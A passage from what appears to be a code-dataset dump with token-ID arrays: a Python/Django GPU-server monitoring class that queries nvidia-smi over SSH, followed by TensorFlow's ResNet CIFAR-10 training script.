self.utilization_history[uuid].append(utilization) if len(self.utilization_history[uuid]) > 10: self.utilization_history[uuid].pop(0) return max(self.utilization_history[uuid]) def update_gpu_info(self): server_list = GPUServer.objects.all() for server in server_list: try: if server.hostname is None or server.hostname == '': add_hostname(server, self.user, self.private_key_path) gpu_info_json = get_gpu_status(server.ip, self.user, server.port, self.private_key_path) if not server.valid: server.valid = True server.save() for gpu in gpu_info_json: if GPUInfo.objects.filter(uuid=gpu['uuid']).count() == 0: gpu_info = GPUInfo( uuid=gpu['uuid'], name=gpu['name'], index=gpu['index'], utilization=self.update_utilization(gpu['uuid'], gpu['utilization.gpu']), memory_total=gpu['memory.total'], memory_used=gpu['memory.used'], processes='\n'.join(map(lambda x: json.dumps(x), gpu['processes'])), complete_free=len(gpu['processes']) == 0, server=server ) gpu_info.save() else: gpu_info = GPUInfo.objects.get(uuid=gpu['uuid']) gpu_info.utilization = self.update_utilization(gpu['uuid'], gpu['utilization.gpu']) gpu_info.memory_total = gpu['memory.total'] gpu_info.memory_used = gpu['memory.used'] gpu_info.complete_free = len(gpu['processes']) == 0 gpu_info.processes = '\n'.join(map(lambda x: json.dumps(x), gpu['processes'])) gpu_info.save() except (subprocess.CalledProcessError, subprocess.TimeoutExpired): task_logger.error('Update ' + server.ip + ' failed') server.valid = False server.save()
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29899, 29896, 29900, 29900, 13, 5215, 2897, 13, 5215, 1014, 5014, 13, 5215, 4390, 13, 5215, 12183, 13, 13, 3166, 869, 9794, 1053, 22796, 6004, 29892, 22796, 3401, 13, 13, 7662, 29918, 21707, 353, 12183, 29889, 657, 16363, 877, 14095, 29889, 7662, 1495, 13, 13, 13, 1753, 13927, 29918, 7978, 29898, 3069, 29892, 1404, 29892, 2279, 29918, 9006, 29892, 2011, 29922, 29906, 29906, 29892, 2024, 29918, 1989, 29918, 2084, 29922, 8516, 1125, 13, 1678, 2279, 29918, 9006, 353, 2279, 29918, 9006, 29889, 6506, 28909, 29878, 29905, 29876, 742, 11297, 29876, 2824, 6506, 877, 29938, 742, 525, 1966, 29938, 1495, 13, 1678, 565, 2279, 29918, 9006, 14352, 29896, 29962, 2804, 11297, 29876, 2396, 13, 4706, 2279, 29918, 9006, 353, 2279, 29918, 9006, 718, 11297, 29876, 29915, 13, 1678, 565, 2024, 29918, 1989, 29918, 2084, 338, 6213, 29901, 13, 4706, 9920, 353, 376, 15269, 448, 29877, 3767, 919, 8514, 2558, 5596, 292, 29922, 1217, 448, 29886, 12365, 29881, 29913, 6571, 29992, 8875, 13218, 29912, 1012, 29908, 1642, 4830, 29898, 637, 29892, 1404, 29892, 3495, 29892, 2279, 29918, 9006, 29897, 13, 1678, 1683, 29901, 13, 4706, 9920, 353, 376, 15269, 448, 29877, 3767, 919, 8514, 2558, 5596, 292, 29922, 1217, 448, 29886, 12365, 29881, 29913, 448, 29875, 6571, 6571, 29992, 8875, 13218, 29912, 1012, 29908, 1642, 4830, 29898, 637, 29892, 2024, 29918, 1989, 29918, 2084, 29892, 1404, 29892, 3495, 29892, 2279, 29918, 9006, 29897, 13, 1678, 736, 1014, 5014, 29889, 3198, 29918, 4905, 29898, 9006, 29892, 11815, 29922, 29953, 29900, 29892, 6473, 29922, 5574, 29897, 13, 13, 13, 1753, 679, 29918, 28988, 29898, 3069, 29892, 1404, 29892, 2011, 29922, 29906, 29906, 29892, 2024, 29918, 1989, 29918, 2084, 29922, 8516, 1125, 13, 1678, 9920, 353, 376, 28988, 29908, 13, 1678, 736, 851, 29898, 15269, 29918, 7978, 29898, 13, 4706, 3495, 29892, 13, 4706, 1404, 29892, 13, 4706, 9920, 29892, 13, 4706, 2011, 29892, 13, 4706, 2024, 29918, 1989, 29918, 2084, 13, 1678, 13742, 6506, 29898, 29890, 12764, 29876, 742, 289, 29915, 1495, 467, 6506, 877, 29890, 20333, 742, 525, 2824, 6506, 877, 20333, 742, 27255, 13, 13, 13, 1753, 788, 29918, 28988, 29898, 2974, 29892, 1404, 29892, 2024, 29918, 1989, 29918, 2084, 29922, 8516, 1125, 13, 1678, 3495, 978, 353, 679, 29918, 28988, 29898, 2974, 29889, 666, 29892, 1404, 29892, 1923, 29889, 637, 29892, 2024, 29918, 1989, 29918, 2084, 29897, 13, 1678, 1923, 29889, 28988, 353, 3495, 978, 13, 1678, 1923, 29889, 7620, 580, 13, 13, 13, 1753, 679, 29918, 29887, 3746, 29918, 4882, 29898, 3069, 29892, 1404, 29892, 2011, 29922, 29906, 29906, 29892, 2024, 29918, 1989, 29918, 2084, 29922, 8516, 1125, 13, 1678, 330, 3746, 29918, 3888, 29918, 1761, 353, 5159, 13, 1678, 2346, 29918, 29887, 3746, 29918, 9006, 353, 525, 29876, 28584, 29899, 29879, 2460, 1192, 1972, 29899, 29887, 3746, 29922, 25118, 29892, 29887, 3746, 29918, 978, 29892, 4422, 2133, 29889, 29887, 3746, 29892, 14834, 29889, 7827, 29892, 14834, 29889, 3880, 1192, 4830, 29922, 7638, 891, 12680, 448, 29894, 320, 29915, 25118, 29905, 4907, 13, 1678, 330, 3746, 29918, 3888, 29918, 1610, 353, 13927, 29918, 7978, 29898, 3069, 29892, 1404, 29892, 2346, 29918, 29887, 3746, 29918, 9006, 29892, 2011, 29892, 2024, 29918, 1989, 29918, 2084, 467, 13808, 877, 9420, 29899, 29947, 1495, 13, 13, 1678, 330, 3746, 29918, 3888, 29918, 8977, 353, 6571, 13, 1678, 363, 2380, 29892, 330, 3746, 29918, 3888, 29918, 1220, 297, 26985, 29898, 29887, 3746, 29918, 3888, 29918, 1610, 29889, 5451, 28909, 29876, 8785, 29901, 13, 4706, 1018, 29901, 13, 9651, 330, 3746, 29918, 3888, 29918, 7076, 353, 330, 3746, 29918, 3888, 29918, 1220, 29889, 5451, 29317, 1495, 13, 9651, 330, 3746, 29918, 3888, 353, 6571, 13, 9651, 330, 3746, 29918, 3888, 1839, 2248, 2033, 353, 2380, 13, 9651, 330, 3746, 29918, 3888, 1839, 25118, 2033, 353, 330, 3746, 29918, 3888, 29918, 7076, 29961, 29900, 1822, 17010, 580, 13, 9651, 330, 3746, 29918, 3888, 1839, 978, 2033, 353, 330, 3746, 29918, 3888, 29918, 7076, 29961, 29896, 1822, 17010, 580, 13, 9651, 330, 3746, 29918, 3888, 1839, 4422, 2133, 29889, 29887, 3746, 2033, 353, 938, 29898, 29887, 3746, 29918, 3888, 29918, 7076, 29961, 29906, 1822, 17010, 2141, 5451, 877, 525, 9601, 29900, 2314, 13, 9651, 330, 3746, 29918, 3888, 1839, 14834, 29889, 7827, 2033, 353, 938, 29898, 29887, 3746, 29918, 3888, 29918, 7076, 29961, 29941, 1822, 17010, 2141, 5451, 877, 525, 9601, 29900, 2314, 13, 9651, 330, 3746, 29918, 3888, 1839, 14834, 29889, 3880, 2033, 353, 938, 29898, 29887, 3746, 29918, 3888, 29918, 7076, 29961, 29946, 1822, 17010, 2141, 5451, 877, 525, 9601, 29900, 2314, 13, 9651, 330, 3746, 29918, 3888, 1839, 5014, 267, 2033, 353, 5159, 13, 9651, 330, 3746, 29918, 3888, 29918, 1761, 29889, 4397, 29898, 29887, 3746, 29918, 3888, 29897, 13, 9651, 330, 3746, 29918, 3888, 29918, 8977, 29961, 29887, 3746, 29918, 3888, 1839, 25118, 2033, 29962, 353, 330, 3746, 29918, 3888, 13, 4706, 5174, 8960, 29901, 13, 9651, 6773, 13, 13, 1678, 23107, 29918, 842, 353, 731, 4197, 2314, 13, 1678, 565, 7431, 29898, 29887, 3746, 29918, 3888, 29918, 1761, 29897, 2804, 29871, 29900, 29901, 13, 4706, 2346, 29918, 13371, 29918, 9006, 353, 525, 29876, 28584, 29899, 29879, 2460, 1192, 1972, 29899, 26017, 29899, 13371, 29922, 29887, 3746, 29918, 25118, 29892, 5935, 29892, 5014, 29918, 978, 29892, 3880, 29918, 14834, 1192, 4830, 29922, 7638, 29915, 13, 4706, 623, 29918, 3888, 29918, 1610, 353, 13927, 29918, 7978, 29898, 3069, 29892, 1404, 29892, 2346, 29918, 13371, 29918, 9006, 29892, 2011, 29892, 2024, 29918, 1989, 29918, 2084, 467, 13808, 877, 9420, 29899, 29947, 1495, 13, 13, 4706, 363, 623, 29918, 3888, 29918, 1220, 297, 623, 29918, 3888, 29918, 1610, 29889, 5451, 28909, 29876, 29861, 29896, 29901, 5387, 13, 9651, 1018, 29901, 13, 18884, 623, 29918, 3888, 29918, 7076, 353, 623, 29918, 3888, 29918, 1220, 29889, 5451, 29317, 1495, 13, 18884, 623, 29918, 3888, 353, 6571, 13, 18884, 318, 5416, 353, 623, 29918, 3888, 29918, 7076, 29961, 29900, 1822, 17010, 580, 13, 18884, 623, 29918, 3888, 1839, 5935, 2033, 353, 938, 29898, 932, 29918, 3888, 29918, 7076, 29961, 29896, 1822, 17010, 3101, 13, 18884, 623, 29918, 3888, 1839, 6519, 2033, 353, 623, 29918, 3888, 29918, 7076, 29961, 29906, 1822, 17010, 580, 13, 18884, 623, 29918, 3888, 1839, 29887, 3746, 29918, 14834, 29918, 21125, 2033, 353, 938, 29898, 932, 29918, 3888, 29918, 7076, 29961, 29941, 1822, 17010, 2141, 5451, 877, 525, 9601, 29900, 2314, 13, 18884, 565, 623, 29918, 3888, 1839, 29887, 3746, 29918, 14834, 29918, 21125, 2033, 2804, 29871, 29900, 29901, 13, 462, 1678, 330, 3746, 29918, 3888, 29918, 8977, 29961, 25118, 22322, 5014, 267, 13359, 4397, 29898, 932, 29918, 3888, 29897, 13, 462, 1678, 23107, 29918, 842, 29889, 1202, 29898, 932, 29918, 3888, 1839, 5935, 11287, 13, 9651, 5174, 8960, 29901, 13, 18884, 6773, 13, 13, 1678, 23107, 29918, 6786, 29918, 8977, 353, 6571, 13, 1678, 565, 7431, 29898, 5935, 29918, 842, 29897, 2804, 29871, 29900, 29901, 13, 4706, 2346, 29918, 5935, 29918, 9006, 353, 525, 567, 448, 29877, 364, 1792, 29922, 1792, 2831, 8208, 1170, 448, 29877, 23107, 448, 29886, 525, 718, 525, 15300, 7122, 29898, 1958, 29898, 710, 29892, 23107, 29918, 842, 876, 718, 525, 891, 13689, 320, 29915, 29912, 2158, 395, 29896, 29892, 395, 29906, 1012, 29915, 891, 12680, 448, 29894, 320, 29915, 29925, 1367, 29905, 4907, 13, 4706, 23107, 29918, 1610, 353, 13927, 29918, 7978, 29898, 3069, 29892, 1404, 29892, 2346, 29918, 5935, 29918, 9006, 29892, 2011, 29892, 2024, 29918, 1989, 29918, 2084, 467, 13808, 877, 9420, 29899, 29947, 1495, 13, 4706, 363, 23107, 29918, 1220, 297, 23107, 29918, 1610, 29889, 5451, 28909, 29876, 29374, 13, 9651, 1018, 29901, 13, 18884, 8952, 29892, 23107, 353, 23107, 29918, 1220, 29889, 5451, 877, 25710, 13, 18884, 23107, 353, 938, 29898, 5935, 29889, 17010, 3101, 13, 18884, 23107, 29918, 6786, 29918, 8977, 29961, 5935, 29962, 353, 8952, 29889, 17010, 580, 13, 9651, 5174, 8960, 29901, 13, 18884, 6773, 13, 1678, 363, 330, 3746, 29918, 3888, 297, 330, 3746, 29918, 3888, 29918, 1761, 29901, 13, 4706, 363, 1889, 297, 330, 3746, 29918, 3888, 1839, 5014, 267, 2033, 29901, 13, 9651, 1889, 1839, 6786, 2033, 353, 23107, 29918, 6786, 29918, 8977, 29889, 657, 29898, 5014, 1839, 5935, 7464, 27255, 13, 13, 1678, 736, 330, 3746, 29918, 3888, 29918, 1761, 13, 13, 13, 1990, 22796, 3401, 3373, 29881, 1008, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1404, 29892, 2024, 29918, 1989, 29918, 2084, 29922, 8516, 1125, 13, 4706, 1583, 29889, 1792, 353, 1404, 13, 4706, 1583, 29889, 9053, 29918, 1989, 29918, 2084, 353, 2024, 29918, 1989, 29918, 2084, 13, 4706, 1583, 29889, 4422, 2133, 29918, 18434, 353, 6571, 13, 268, 13, 1678, 822, 2767, 29918, 4422, 2133, 29898, 1311, 29892, 318, 5416, 29892, 3667, 2133, 1125, 13, 4706, 565, 1583, 29889, 4422, 2133, 29918, 18434, 29889, 657, 29898, 25118, 29897, 338, 6213, 29901, 13, 9651, 1583, 29889, 4422, 2133, 29918, 18434, 29961, 25118, 29962, 353, 518, 4422, 2133, 29962, 13, 9651, 736, 3667, 2133, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 4422, 2133, 29918, 18434, 29961, 25118, 1822, 4397, 29898, 4422, 2133, 29897, 13, 9651, 565, 7431, 29898, 1311, 29889, 4422, 2133, 29918, 18434, 29961, 25118, 2314, 1405, 29871, 29896, 29900, 29901, 13, 18884, 1583, 29889, 4422, 2133, 29918, 18434, 29961, 25118, 1822, 7323, 29898, 29900, 29897, 13, 9651, 736, 4236, 29898, 1311, 29889, 4422, 2133, 29918, 18434, 29961, 25118, 2314, 13, 13, 1678, 822, 2767, 29918, 29887, 3746, 29918, 3888, 29898, 1311, 1125, 13, 4706, 1923, 29918, 1761, 353, 22796, 6004, 29889, 12650, 29889, 497, 580, 13, 4706, 363, 1923, 297, 1923, 29918, 1761, 29901, 13, 9651, 1018, 29901, 13, 18884, 565, 1923, 29889, 28988, 338, 6213, 470, 1923, 29889, 28988, 1275, 525, 2396, 13, 462, 1678, 788, 29918, 28988, 29898, 2974, 29892, 1583, 29889, 1792, 29892, 1583, 29889, 9053, 29918, 1989, 29918, 2084, 29897, 13, 18884, 330, 3746, 29918, 3888, 29918, 3126, 353, 679, 29918, 29887, 3746, 29918, 4882, 29898, 2974, 29889, 666, 29892, 1583, 29889, 1792, 29892, 1923, 29889, 637, 29892, 1583, 29889, 9053, 29918, 1989, 29918, 2084, 29897, 13, 18884, 565, 451, 1923, 29889, 3084, 29901, 13, 462, 1678, 1923, 29889, 3084, 353, 5852, 13, 462, 1678, 1923, 29889, 7620, 580, 13, 18884, 363, 330, 3746, 297, 330, 3746, 29918, 3888, 29918, 3126, 29901, 13, 462, 1678, 565, 22796, 3401, 29889, 12650, 29889, 4572, 29898, 25118, 29922, 29887, 3746, 1839, 25118, 2033, 467, 2798, 580, 1275, 29871, 29900, 29901, 13, 462, 4706, 330, 3746, 29918, 3888, 353, 22796, 3401, 29898, 13, 462, 9651, 318, 5416, 29922, 29887, 3746, 1839, 25118, 7464, 13, 462, 9651, 1024, 29922, 29887, 3746, 1839, 978, 7464, 13, 462, 9651, 2380, 29922, 29887, 3746, 1839, 2248, 7464, 13, 462, 9651, 3667, 2133, 29922, 1311, 29889, 5504, 29918, 4422, 2133, 29898, 29887, 3746, 1839, 25118, 7464, 330, 3746, 1839, 4422, 2133, 29889, 29887, 3746, 2033, 511, 13, 462, 9651, 3370, 29918, 7827, 29922, 29887, 3746, 1839, 14834, 29889, 7827, 7464, 13, 462, 9651, 3370, 29918, 3880, 29922, 29887, 3746, 1839, 14834, 29889, 3880, 7464, 13, 462, 9651, 10174, 2433, 29905, 29876, 4286, 7122, 29898, 1958, 29898, 2892, 921, 29901, 4390, 29889, 29881, 17204, 29898, 29916, 511, 330, 3746, 1839, 5014, 267, 2033, 8243, 13, 462, 9651, 4866, 29918, 9021, 29922, 2435, 29898, 29887, 3746, 1839, 5014, 267, 11287, 1275, 29871, 29900, 29892, 13, 462, 9651, 1923, 29922, 2974, 13, 462, 4706, 1723, 13, 462, 4706, 330, 3746, 29918, 3888, 29889, 7620, 580, 13, 462, 1678, 1683, 29901, 13, 462, 4706, 330, 3746, 29918, 3888, 353, 22796, 3401, 29889, 12650, 29889, 657, 29898, 25118, 29922, 29887, 3746, 1839, 25118, 11287, 13, 462, 4706, 330, 3746, 29918, 3888, 29889, 4422, 2133, 353, 1583, 29889, 5504, 29918, 4422, 2133, 29898, 29887, 3746, 1839, 25118, 7464, 330, 3746, 1839, 4422, 2133, 29889, 29887, 3746, 11287, 13, 462, 4706, 330, 3746, 29918, 3888, 29889, 14834, 29918, 7827, 353, 330, 3746, 1839, 14834, 29889, 7827, 2033, 13, 462, 4706, 330, 3746, 29918, 3888, 29889, 14834, 29918, 3880, 353, 330, 3746, 1839, 14834, 29889, 3880, 2033, 13, 462, 4706, 330, 3746, 29918, 3888, 29889, 8835, 29918, 9021, 353, 7431, 29898, 29887, 3746, 1839, 5014, 267, 11287, 1275, 29871, 29900, 13, 462, 4706, 330, 3746, 29918, 3888, 29889, 5014, 267, 353, 11297, 29876, 4286, 7122, 29898, 1958, 29898, 2892, 921, 29901, 4390, 29889, 29881, 17204, 29898, 29916, 511, 330, 3746, 1839, 5014, 267, 25901, 13, 462, 4706, 330, 3746, 29918, 3888, 29889, 7620, 580, 13, 9651, 5174, 313, 1491, 5014, 29889, 29907, 4212, 7032, 2392, 29892, 1014, 5014, 29889, 10851, 9544, 2859, 1125, 13, 18884, 3414, 29918, 21707, 29889, 2704, 877, 6422, 525, 718, 1923, 29889, 666, 718, 525, 5229, 1495, 13, 18884, 1923, 29889, 3084, 353, 7700, 13, 18884, 1923, 29889, 7620, 580, 13, 2 ]
official/resnet/cifar10_main.py
shawdm/experiments-tensorflow-models
1
114834
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Runs a ResNet model on the CIFAR-10 dataset.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys import tensorflow as tf import resnet_model import resnet_shared _HEIGHT = 32 _WIDTH = 32 _NUM_CHANNELS = 3 _DEFAULT_IMAGE_BYTES = _HEIGHT * _WIDTH * _NUM_CHANNELS _NUM_CLASSES = 10 _NUM_DATA_FILES = 5 _NUM_IMAGES = { 'train': 50000, 'validation': 10000, } ############################################################################### # Data processing ############################################################################### def record_dataset(filenames): """Returns an input pipeline Dataset from `filenames`.""" record_bytes = _DEFAULT_IMAGE_BYTES + 1 return tf.data.FixedLengthRecordDataset(filenames, record_bytes) def get_filenames(is_training, data_dir): """Returns a list of filenames.""" data_dir = os.path.join(data_dir, 'cifar-10-batches-bin') assert os.path.exists(data_dir), ( 'Run cifar10_download_and_extract.py first to download and extract the ' 'CIFAR-10 data.') if is_training: return [ os.path.join(data_dir, 'data_batch_%d.bin' % i) for i in range(1, _NUM_DATA_FILES + 1) ] else: return [os.path.join(data_dir, 'test_batch.bin')] def parse_record(raw_record): """Parse CIFAR-10 image and label from a raw record.""" # Every record consists of a label followed by the image, with a fixed number # of bytes for each. label_bytes = 1 record_bytes = label_bytes + _DEFAULT_IMAGE_BYTES # Convert bytes to a vector of uint8 that is record_bytes long. record_vector = tf.decode_raw(raw_record, tf.uint8) # The first byte represents the label, which we convert from uint8 to int32 # and then to one-hot. label = tf.cast(record_vector[0], tf.int32) label = tf.one_hot(label, _NUM_CLASSES) # The remaining bytes after the label represent the image, which we reshape # from [depth * height * width] to [depth, height, width]. depth_major = tf.reshape(record_vector[label_bytes:record_bytes], [_NUM_CHANNELS, _HEIGHT, _WIDTH]) # Convert from [depth, height, width] to [height, width, depth], and cast as # float32. image = tf.cast(tf.transpose(depth_major, [1, 2, 0]), tf.float32) return image, label def preprocess_image(image, is_training): """Preprocess a single image of layout [height, width, depth].""" if is_training: # Resize the image to add four extra pixels on each side. image = tf.image.resize_image_with_crop_or_pad( image, _HEIGHT + 8, _WIDTH + 8) # Randomly crop a [_HEIGHT, _WIDTH] section of the image. image = tf.random_crop(image, [_HEIGHT, _WIDTH, _NUM_CHANNELS]) # Randomly flip the image horizontally. image = tf.image.random_flip_left_right(image) # Subtract off the mean and divide by the variance of the pixels. image = tf.image.per_image_standardization(image) return image def input_fn(is_training, data_dir, batch_size, num_epochs=1): """Input_fn using the tf.data input pipeline for CIFAR-10 dataset. Args: is_training: A boolean denoting whether the input is for training. data_dir: The directory containing the input data. batch_size: The number of samples per batch. num_epochs: The number of epochs to repeat the dataset. Returns: A tuple of images and labels. """ dataset = record_dataset(get_filenames(is_training, data_dir)) if is_training: # When choosing shuffle buffer sizes, larger sizes result in better # randomness, while smaller sizes have better performance. Because CIFAR-10 # is a relatively small dataset, we choose to shuffle the full epoch. dataset = dataset.shuffle(buffer_size=_NUM_IMAGES['train']) dataset = dataset.map(parse_record) dataset = dataset.map( lambda image, label: (preprocess_image(image, is_training), label)) dataset = dataset.prefetch(2 * batch_size) # We call repeat after shuffling, rather than before, to prevent separate # epochs from blending together. dataset = dataset.repeat(num_epochs) # Batch results by up to batch_size, and then fetch the tuple from the # iterator. dataset = dataset.batch(batch_size) iterator = dataset.make_one_shot_iterator() images, labels = iterator.get_next() return images, labels ############################################################################### # Running the model ############################################################################### class Cifar10Model(resnet_model.Model): def __init__(self, resnet_size, data_format=None): """These are the parameters that work for CIFAR-10 data. """ if resnet_size % 6 != 2: raise ValueError('resnet_size must be 6n + 2:', resnet_size) num_blocks = (resnet_size - 2) // 6 super(Cifar10Model, self).__init__( resnet_size=resnet_size, num_classes=_NUM_CLASSES, num_filters=16, kernel_size=3, conv_stride=1, first_pool_size=None, first_pool_stride=None, second_pool_size=8, second_pool_stride=1, block_fn=resnet_model.building_block, block_sizes=[num_blocks] * 3, block_strides=[1, 2, 2], final_size=64, data_format=data_format) def cifar10_model_fn(features, labels, mode, params): """Model function for CIFAR-10.""" features = tf.reshape(features, [-1, _HEIGHT, _WIDTH, _NUM_CHANNELS]) learning_rate_fn = resnet_shared.learning_rate_with_decay( batch_size=params['batch_size'], batch_denom=128, num_images=_NUM_IMAGES['train'], boundary_epochs=[100, 150, 200], decay_rates=[1, 0.1, 0.01, 0.001]) # We use a weight decay of 0.0002, which performs better # than the 0.0001 that was originally suggested. weight_decay = 2e-4 # Empirical testing showed that including batch_normalization variables # in the calculation of regularized loss helped validation accuracy # for the CIFAR-10 dataset, perhaps because the regularization prevents # overfitting on the small data set. We therefore include all vars when # regularizing and computing loss during training. def loss_filter_fn(name): return True return resnet_shared.resnet_model_fn(features, labels, mode, Cifar10Model, resnet_size=params['resnet_size'], weight_decay=weight_decay, learning_rate_fn=learning_rate_fn, momentum=0.9, data_format=params['data_format'], loss_filter_fn=loss_filter_fn) def main(unused_argv): resnet_shared.resnet_main(FLAGS, cifar10_model_fn, input_fn) if __name__ == '__main__': tf.logging.set_verbosity(tf.logging.INFO) parser = resnet_shared.ResnetArgParser() # Set defaults that are reasonable for this model. parser.set_defaults(data_dir='/tmp/cifar10_data', model_dir='/tmp/cifar10_model', resnet_size=32, train_epochs=250, epochs_per_eval=10, batch_size=128) FLAGS, unparsed = parser.parse_known_args() tf.app.run(argv=[sys.argv[0]] + unparsed)
[ 1, 396, 14187, 1266, 29871, 29906, 29900, 29896, 29955, 450, 323, 6073, 17907, 13189, 943, 29889, 2178, 26863, 2538, 9841, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 29937, 1275, 9166, 9166, 9166, 9166, 4936, 2751, 13, 15945, 29908, 6558, 29879, 263, 2538, 6779, 1904, 373, 278, 315, 6545, 1718, 29899, 29896, 29900, 8783, 1213, 15945, 13, 13, 3166, 4770, 29888, 9130, 1649, 1053, 8380, 29918, 5215, 13, 3166, 4770, 29888, 9130, 1649, 1053, 8542, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 13, 13, 5215, 2897, 13, 5215, 10876, 13, 13, 5215, 26110, 408, 15886, 13, 13, 5215, 620, 1212, 29918, 4299, 13, 5215, 620, 1212, 29918, 12366, 13, 13, 29918, 9606, 22530, 353, 29871, 29941, 29906, 13, 29918, 22574, 353, 29871, 29941, 29906, 13, 29918, 13967, 29918, 3210, 2190, 29940, 6670, 29903, 353, 29871, 29941, 13, 29918, 23397, 29918, 2382, 29918, 22716, 29911, 2890, 353, 903, 9606, 22530, 334, 903, 22574, 334, 903, 13967, 29918, 3210, 2190, 29940, 6670, 29903, 13, 29918, 13967, 29918, 6154, 3289, 1660, 29903, 353, 29871, 29896, 29900, 13, 29918, 13967, 29918, 14573, 29918, 24483, 353, 29871, 29945, 13, 13, 29918, 13967, 29918, 2382, 29903, 353, 426, 13, 1678, 525, 14968, 2396, 29871, 29945, 29900, 29900, 29900, 29900, 29892, 13, 1678, 525, 18157, 2396, 29871, 29896, 29900, 29900, 29900, 29900, 29892, 13, 29913, 13, 13, 13, 13383, 13383, 13383, 13383, 7346, 4136, 2277, 29937, 13, 29937, 3630, 9068, 13, 13383, 13383, 13383, 13383, 7346, 4136, 2277, 29937, 13, 1753, 2407, 29918, 24713, 29898, 1777, 264, 1280, 1125, 13, 29871, 9995, 11609, 29879, 385, 1881, 16439, 13373, 24541, 515, 421, 1777, 264, 1280, 29952, 1213, 15945, 13, 29871, 2407, 29918, 13193, 353, 903, 23397, 29918, 2382, 29918, 22716, 29911, 2890, 718, 29871, 29896, 13, 29871, 736, 15886, 29889, 1272, 29889, 26262, 6513, 9182, 16390, 24541, 29898, 1777, 264, 1280, 29892, 2407, 29918, 13193, 29897, 13, 13, 13, 1753, 679, 29918, 1777, 264, 1280, 29898, 275, 29918, 26495, 29892, 848, 29918, 3972, 1125, 13, 29871, 9995, 11609, 29879, 263, 1051, 310, 977, 264, 1280, 1213, 15945, 13, 29871, 848, 29918, 3972, 353, 2897, 29889, 2084, 29889, 7122, 29898, 1272, 29918, 3972, 29892, 525, 29883, 361, 279, 29899, 29896, 29900, 29899, 16175, 267, 29899, 2109, 1495, 13, 13, 29871, 4974, 2897, 29889, 2084, 29889, 9933, 29898, 1272, 29918, 3972, 511, 313, 13, 418, 525, 6558, 274, 361, 279, 29896, 29900, 29918, 10382, 29918, 392, 29918, 21111, 29889, 2272, 937, 304, 5142, 322, 6597, 278, 525, 13, 418, 525, 29907, 6545, 1718, 29899, 29896, 29900, 848, 29889, 1495, 13, 13, 29871, 565, 338, 29918, 26495, 29901, 13, 1678, 736, 518, 13, 4706, 2897, 29889, 2084, 29889, 7122, 29898, 1272, 29918, 3972, 29892, 525, 1272, 29918, 16175, 29918, 29995, 29881, 29889, 2109, 29915, 1273, 474, 29897, 13, 4706, 363, 474, 297, 3464, 29898, 29896, 29892, 903, 13967, 29918, 14573, 29918, 24483, 718, 29871, 29896, 29897, 13, 1678, 4514, 13, 29871, 1683, 29901, 13, 1678, 736, 518, 359, 29889, 2084, 29889, 7122, 29898, 1272, 29918, 3972, 29892, 525, 1688, 29918, 16175, 29889, 2109, 1495, 29962, 13, 13, 13, 1753, 6088, 29918, 11651, 29898, 1610, 29918, 11651, 1125, 13, 29871, 9995, 12914, 315, 6545, 1718, 29899, 29896, 29900, 1967, 322, 3858, 515, 263, 10650, 2407, 1213, 15945, 13, 29871, 396, 7569, 2407, 11624, 310, 263, 3858, 5643, 491, 278, 1967, 29892, 411, 263, 4343, 1353, 13, 29871, 396, 310, 6262, 363, 1269, 29889, 13, 29871, 3858, 29918, 13193, 353, 29871, 29896, 13, 29871, 2407, 29918, 13193, 353, 3858, 29918, 13193, 718, 903, 23397, 29918, 2382, 29918, 22716, 29911, 2890, 13, 13, 29871, 396, 14806, 6262, 304, 263, 4608, 310, 13122, 29947, 393, 338, 2407, 29918, 13193, 1472, 29889, 13, 29871, 2407, 29918, 8111, 353, 15886, 29889, 13808, 29918, 1610, 29898, 1610, 29918, 11651, 29892, 15886, 29889, 13470, 29947, 29897, 13, 13, 29871, 396, 450, 937, 7023, 11524, 278, 3858, 29892, 607, 591, 3588, 515, 13122, 29947, 304, 938, 29941, 29906, 13, 29871, 396, 322, 769, 304, 697, 29899, 8711, 29889, 13, 29871, 3858, 353, 15886, 29889, 4384, 29898, 11651, 29918, 8111, 29961, 29900, 1402, 15886, 29889, 524, 29941, 29906, 29897, 13, 29871, 3858, 353, 15886, 29889, 650, 29918, 8711, 29898, 1643, 29892, 903, 13967, 29918, 6154, 3289, 1660, 29903, 29897, 13, 13, 29871, 396, 450, 9886, 6262, 1156, 278, 3858, 2755, 278, 1967, 29892, 607, 591, 620, 14443, 13, 29871, 396, 515, 518, 19488, 334, 3171, 334, 2920, 29962, 304, 518, 19488, 29892, 3171, 29892, 2920, 1822, 13, 29871, 10809, 29918, 21355, 353, 15886, 29889, 690, 14443, 29898, 11651, 29918, 8111, 29961, 1643, 29918, 13193, 29901, 11651, 29918, 13193, 1402, 13, 462, 965, 23160, 13967, 29918, 3210, 2190, 29940, 6670, 29903, 29892, 903, 9606, 22530, 29892, 903, 22574, 2314, 13, 13, 29871, 396, 14806, 515, 518, 19488, 29892, 3171, 